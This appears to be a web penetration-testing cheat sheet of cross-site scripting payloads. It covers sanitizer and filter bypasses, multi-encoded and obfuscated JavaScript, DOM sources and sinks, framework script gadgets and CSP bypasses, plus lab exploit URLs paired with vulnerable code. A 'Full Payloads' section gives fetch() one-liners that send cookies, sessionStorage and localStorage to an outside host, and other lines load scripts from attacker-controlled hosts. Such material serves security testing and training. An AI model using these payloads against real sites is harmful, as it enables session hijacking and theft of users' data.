XSS
XSS¶
https://www.secjuice.com/xss-arithmetic-operators-chaining-bypass-sanitization/
https://github.com/rastating/xss-chef
https://gist.github.com/sseffa/11031135
Portswiger One XSS cheatsheet to rule them all
https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting#javascript-function
Client-side Sanitation¶
Using the template tag you can have the client parse untrusted user data without executing it. After you can view and remove any unwanted tags and set the HTML.
This can be bypassed by the noscript tag. This is because noscript is parsed differently when javascript is enabled and when it is disabled.
Example Payload:
<noscript> <p title="</noscript><img scr=x onerror=alert(1)>">
Proof of Concepts¶
Running JS functions without parentheses
Email Address XSS:
"<script>alert(1)</script>"@example.com
foo'onclick='alert'foo='@example.com
Multi-pass filter bypass:
<p/style="xss:e xpression(alert(document.cookie))">
<img/width="100"src="http://site/image.jpg"o nLoad="alert(document.cookie)">
Javascript in SRC feild:
"><iframe src="javascript:alert(0)">
No whitespace:
<img/src="mars.png"alt="mars">
No Quotes:
<svg/onload=alert(document.domain)>
Assign Paramater Value:
<object><param name="src" value= "javascript:alert(0)"></param></object>
Double URL Encoding:
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25
23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25
26%2523x29%3B%22%3E
SVG Payload:
<svg+onload=+"aler%25%37%34(1)"
Triple URL Encoding:
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>
Limited Charset:
<img/src="x"/onerror="[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()">
Multi Encoding:
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
JSP Context Path Payload:
http://127.0.0.1:8080//rakeshmane.com/xss.js#/..;/..;/contextPathExample/test.jsp
Limited Size:
<!-- If you control the name, will work on Firefox in any context, will fail in chromium in DOM -->
<svg/onload=eval(name)>
<!-- If you control the URL, Safari-only -->
<iframe/onload=write(URL)>
<!-- If you control the URL -->
<svg/onload=eval(`'`+URL)>
<!-- If you control the name, but unsafe-eval not enabled -->
<svg/onload=location=name>
<!-- Just a casual script -->
<script/src=//NJ.₨></script>
<!-- If you control the name of the window -->
<iframe/onload=src=top.name>
<!-- If you control the URL -->
<iframe/onload=eval('`'+URL)>
<!-- If number of iframes on the page is constant -->
<iframe/onload=src=top[0].name+/\NJ.₨?/>
<!-- for Firefox only -->
<iframe/srcdoc="<svg><script/href=//NJ.₨ />">
<!-- If number of iframes on the page is random -->
<iframe/onload=src=contentWindow.name+/\NJ.₨?/>
<!-- If unsafe-inline is disabled in CSP and external scripts allowed -->
<iframe/srcdoc="<script/src=//NJ.₨></script>">
<!-- If inline styles are allowed -->
<style/onload=eval(name)>
<!-- If inline styles are allowed, Safari only -->
<style/onload=write(URL)>
<!-- If inline styles are allowed and the URL can be controlled -->
<style/onload=eval(`'`+URL)>
<!-- If inline styles are blocked -->
<style/onerror=eval(name)>
<!-- Uses external script as import, doesn't work in innerHTML unless Firefox -->
<!-- The PoC only works on https and Chrome, because NJ.₨ checks for Sec-Fetch-Dest header -->
<svg/onload=import(/\\NJ.₨/)>
<!-- Uses external script as import, triggers if inline styles are allowed.
<!-- The PoC only works on https and Chrome, because NJ.₨ checks for Sec-Fetch-Dest header -->
<style/onload=import(/\\NJ.₨/)>
<!-- Uses external script as import -->
<!-- The PoC only works on https and Chrome, because NJ.₨ checks for Sec-Fetch-Dest header -->
<iframe/onload=import(/\\NJ.₨/)>
<script src=//⑮.₨></script>
UTF8 Payloads¶
<input type="search" onsearch="aler\u0074(1)">
<svg/onload="[]['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164\50\61\51')()">
%u00ABscript%u00BB
〈 ;script〉 ;
U%2bFF1CscriptU%2bFF1E
‹ ;script› ;
〈 ;script〉
⟨ ;script⟩ ;
HTML Context¶
HTML Context:
http://liveoverflow.com/youtube/xss_testbed.php?a=%3Cscript%3Ealert(1)%3C/script%3E
http://securitee.tk/files/chrome_xss.php?a=<script>void('&b=');alert(1);</script>
HTML Context with chrome bypass:
Unknown
HTML Context with htmlspecialchars:
Unknown
HTML Attribute Context¶
HTML Attribute Context Double Quote:
http://liveoverflow.com/youtube/xss_testbed.php?b=xss%22%20onerror=%22alert(1)%22
HTML Attribute Context Double Quote chrome bypass:
Unknown
HTML Attribute Context Double Quote with htmlspecialchars:
Unknown
HTML Attribute Context Single Quote with htmlspecialchars:
http://liveoverflow.com/youtube/xss_testbed.php?bbb=xss'%20onerror=alert(1)
HTML Attribute Context Single Quote chrome bypass:
Unknown
HTML Attribute Context No Quote with htmlspecialchars:
http://liveoverflow.com/youtube/xss_testbed.php?c=xss%20onerror=alert(1)
HTML Attribute Context No Quote encoded chrome bypass:
http://liveoverflow.com/youtube/xss_testbed.php?c=xss%20onerror=alert(1)
Event Handlers:
- onblur
- onclick
- oncopy
- oncontextmenu
- oncut
- ondblclick
- ondrag
- onfocus
- oninput
- onkeydown
- onkeypress
- onkeyup
- onmousedown
- onmousemove
- onmouseout
- onmouseover
- onmouseup
- onpaste
Auto event handler:
<input type="text" name="wtv" onfocus="console.log('cant control')" value="" onfocusin="alert('XSS')" autofocus>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
JavaScript Context¶
JavaScript Context chrome bypass:
http://liveoverflow.com/youtube/xss_testbed.php?d=alert(1)
JavaScript Context chrome bypass with htmlspecialchars:
http://liveoverflow.com/youtube/xss_testbed.php?d=alert(1)
JavaScript Concatenation:
'+alert(1)+'
var searchTerms = ''+alert(1)+'';
Bypass simple escaping:
\'+alert(1)+//
var searchTerms = '\\'+alert(1)+//';
Possoble HTML Decode Excape with valid URL:
http://example.com#');alert(1);a=apos;
Look for javascript template injection:
${alert(1)}
URL Context¶
If you can make a link in a tag then you can change it to a javascript tag
javascript:alert(1)
data:text/plain,alert('xss')
Then it looks like this
<a href="javascript:alert(1)">
or <a href="data:text/plain,alert('xss')">
CSS¶
https://portswigger.net/research/ublock-i-exfiltrate-exploiting-ad-blockers-with-css
Flash¶
http://www.example.com/main.swf?baseurl=asfunction:getURL,javascript:alert(1)//
http://www.example.com/main.swf?baseurl=http://rcannings.googlepages.com/DoKnowEvil.swf%3f
http://www.example.com/Example.swf?debugMode=1&dataURL=%27%3E%3Cimg+src%3D%22http%3A//rcannings.googlepages.com/DoKnowEvil.swf%3F.jpg%22%3E
http://www.example.com/Example_controller.swf?csPreloader=http://rcannings.googlepages.com/DoKnowEvil.swf%3f
http://www.example.com/control.swf?onend=javascript:alert(1)//
http://www.example.com/FLVPlayer_Progressive.swf?skinName=asfunction:getURL,javascript:alert(1)//
http://www.example.com/FLVPlayer_Progressive.swf?skinName=http://rcannings.googlepages.com/DoKnowEvil
Opera XSS Configuration¶
UEmbed an Iframe with src='opera:config'. The you can use opera.setPreference("Proxy","HTTP Server","at.tack.er:8080")
to set a HTTP proxy.
opera:historysearch?q=*%22%3E%3Cscript+src='http:%2f%2fat.tack.er%
2fs.js'%3E%3C%2fscript%3E&p=1&s=1
and you'll get at the bottom:
<ul><li><a rel="prev" href="opera:historysearch?q=*"><script
src='http://at.tack.er/s.js'></script>&p=1&s=0">Precedente</a></li> <li>Successiva</li></ul>
</body></html>
Google Chrome XSS Injector bypass¶
The Chrome Auditor is broken when the site has more than one injection point.
Example:
http://test.com/xss.php?name=<script>a="&value=";alert("XSS HERE");</script>
Translates to:
<body>
Name: <script>a="</br> Value: ";
alert("XSS HERE");</script>
Full Payloads¶
Enumerate:
//Exfiltrate Cookies
fetch('//example.com/cookies?b64=' + btoa(document.cookie), { mode: 'no-cors'})
//Exfiltarte Session Storage
fetch('//example.com/sessionStorage?b64=' + btoa(JSON.stringify(window.sessionStorage)), { mode: 'no-cors'})
//Exfiltarte Local Storage
fetch('//example.com/sessionStorage?json=' + JSON.stringify(window.localStorage), { mode: 'no-cors'})
.NET Bypasses¶
https://blog.isec.pl/all-is-xss-that-comes-to-the-net/
HTML 5 XSS¶
XSS Scanners¶
XSS Techniques
XSS Backend to Catch and Log data
XSS detector (old)
XSS Scanner equipped with powerful fuzzing engine & intelligent payload generator
xsssniper --url http://liveoverflow.com/youtube/xss_testbed.php\?aa\=test2 --random-agent
DOM XSS¶
Sources:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
OpenRedirect Syncs:
location =
location.host =
location.hostname =
location.href =
location.pathname =
location.search =
location.protocol =
location.assign()
location.replace()
open()
domElem.srcdoc
#Ajax request manipulation
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()
jQuery.ajax()
$.ajax()
#HTML5-storage manipulation
sessionStorage.setItem()
localStorage.setItem()
#DoS
requestFileSystem()
RegExp()
#Client-Side SQl injection
executeSql()
#Javascript Injection
eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
#Local file-path manipulation
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()
#Link manipulation
someDOMElement.href
someDOMElement.src
someDOMElement.action
#XPath injection
document.evaluate()
someDOMElement.evaluate()
#Document-domain manipulation
document.domain
#Web-message manipulation
postMessage()
#DOM-data manipulation
scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
#jQuery
add()
after()
append()
animate()
insertAfter()
insertBefore()
before()
html()
prepend()
replaceAll()
replaceWith()
wrap()
wrapInner()
wrapAll()
has()
constructor()
init()
index()
jQuery.parseHTML()
$.parseHTML()
#Client-side JSON injection
JSON.parse()
jQuery.parseJSON()
$.parseJSON()
#Cookie Manipulation
document.cookie
#Websocket URL poisoning
Websocket
Create a new element with Jquery:
$('<>')
document.write sink using source location.search¶
Vulnerable JavaScript:
function trackSearch(query) {
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
trackSearch(query);
}
Exploit URL:
https://acec1fc31e7a7cf580253de500870065.web-security-academy.net/?search=%22+onload%3D%22alert%281%29
document.write sink using source location.search inside a select element¶
Vulnerable JavaScript:
var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if(store) {
document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
if(stores[i] === store) {
continue;
}
document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');
Exploit URL:
https://ac6f1f941ffbb6a680ee474600bb00a0.web-security-academy.net/product?productId=1&storeId=%3Cscript%3Ealert(1)%3C/script%3E
innerHTML sink using source location.search¶
Vulnerable JavaScript:
function doSearchQuery(query) {
document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
doSearchQuery(query);
}
Exploit URL:
https://ac7f1f0c1f3fb2e2808a02790056000f.web-security-academy.net/?search=%3Cimg+src%3D1+onerror%3D%22alert%281%29%22%3E
jQuery anchor href attribute sink using location.search source¶
Vulnerable JavaScript:
<div class="is-linkback">
<a id="backLink">Back</a>
</div>
<script>
$(function() {
$('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
});
</script>
Exploit URL:
https://acd31ff01eab9100808b005e00e900e4.web-security-academy.net/feedback?returnPath=javascript:alert(1)
AngularJS expression with angle brackets and double quotes HTML-encoded¶
Test Angular Expression:
https://ac9f1f7e1e047c7680533e8b006e0089.web-security-academy.net/?search=%7B%7B1%2B1%7D%7D
Vulnerable JavaScript:
<body ng-app="" class="ng-scope">
<div theme="blog">
<section class="maincontainer">
<div class="container">
<section class="blog-header">
<h1>0 search results for '2'</h1>
<hr>
</section>
<section class="search">
<form action="/" method="GET" class="ng-pristine ng-valid">
<input maxlength="600" type="text" placeholder="Search the blog..." name="search">
<button type="submit" class="button">Search</button>
</form>
</section>
<section class="blog-list">
<div class="is-linkback">
<a href="/">Back to Blog</a>
</div>
</section>
</div>
</section>
</div>
</body>
Exploit URL:
https://ac9f1f7e1e047c7680533e8b006e0089.web-security-academy.net/?search=%7B%7B%24on.constructor%28%27alert%281%29%27%29%28%29%7D%7D
Script Gadget¶
Set HTML from data-text:
<div data-role="button"
data-text="<script>alert(1)</script>"></div>
<script>
var buttons=$("[data-role=button]");
buttons.html(button.getAttribute("data-text"));
</script>
Knockout XSS Script Gadget:
<div data-bind="value: alert(1)"></div>
Ajaxify XSS Script Gadget:
<div class="document-script">alert(1)</div>
Bootstrap XSS Script Gadget:
<div data-toggle=tooltip data-html=true title='<script>alert(1)</script>'>
Google Closure XSS Script Gadget:
<a id=CLOSURE_BASE_PATH href=data:/,1/alert(1)//></a>
<form id=CLOSURE_UNCOMPILED_DEFINES>
<input id=goog.ENABLE_CHROME_APP_SAFE_SCRIPT_LOADING></form>
RequireJS XSS Script Gadget:
<script data-main='data:1,alert(1)' src='require.js'></script>
Ember XSS Script Gadget:
<script src=//i.am.an.invalid.self.closing.script.tag csp=ignores-me/>
Ember Dev XSS Script Gadget:
<script type=text/x-handlebars>
<script src=//attacker.example.com// />
</script>
jQuery XSS Script Gadget:
<form class="child">
<input name="ownerDocument"/><script>alert(1);</script></form>
jQuery Mobile XSS Script Gadget:
<div data-role=popupid='--><script>"use strict"alert(1)</script>'></div>
Bypassing CSP strict-dynamic via Bootstrap:
<div data-toggle=tooltip data-html=true title='<script>alert(1)</script>'></div>
Bypassing sanitizers via jQuery Mobile:
<div data-role=popup id='--><script>alert(1)</script>'></div>
Bypassing NoScript via Closure (DOM clobbering):
<a id=CLOSURE_BASE_PATH href=http://attacker/xss></a>
Bypassing ModSecurity CRS via Dojo Toolkit:
<div data-dojo-type="dijit/Declaration" data-dojo-props="}-alert(1)-{">
Bypassing CSP unsafe-eval via underscore templates:
<div type=underscore/template> <% alert(1) %> </div>
Aurelia XSS Script Gadget:
<div ref="me" s.bind="$this.me.ownerDocument.createElement('script')"
data-bar="${$this.me.s.src='data:,alert(1)'}"
data-foobar="${$this.me.ownerDocument.body.appendChild($this.me.s)}"></div>
Polymer 1.x XSS Script Gadget:
<template is=dom-bind><div
five={{insert(me._nodes.0.scriptprop)}}
four="{{set('insert',me.root.ownerDocument.body.appendChild)}}"
three="{{set('me',nextSibling.previousSibling)}}"
two={{set('_nodes.0.scriptprop.src','data:\,alert(1)')}}
scriptprop={{_factory()}}
one={{set('_factoryArgs.0','script')}}>
</template>
Polymer 1.x XSS Script Gadget:
<template is=dom-bind><div
c={{alert('1',ownerDocument.defaultView)}}
b={{set('_rootDataHost',ownerDocument.defaultView)}}></div>
</template>
AngularJS 1.6+ XSS Script Gadget:
<div ng-app ng-csp ng-focus="x=$event.view.window;x.alert(1)">
Ractive Stealing CSP nonces:
<script id="template" type="text/ractive">
<iframe srcdoc="
<script nonce={{@global.document.currentScript.nonce}}>
alert(1337)
</{{}}script>">
</iframe>
</script>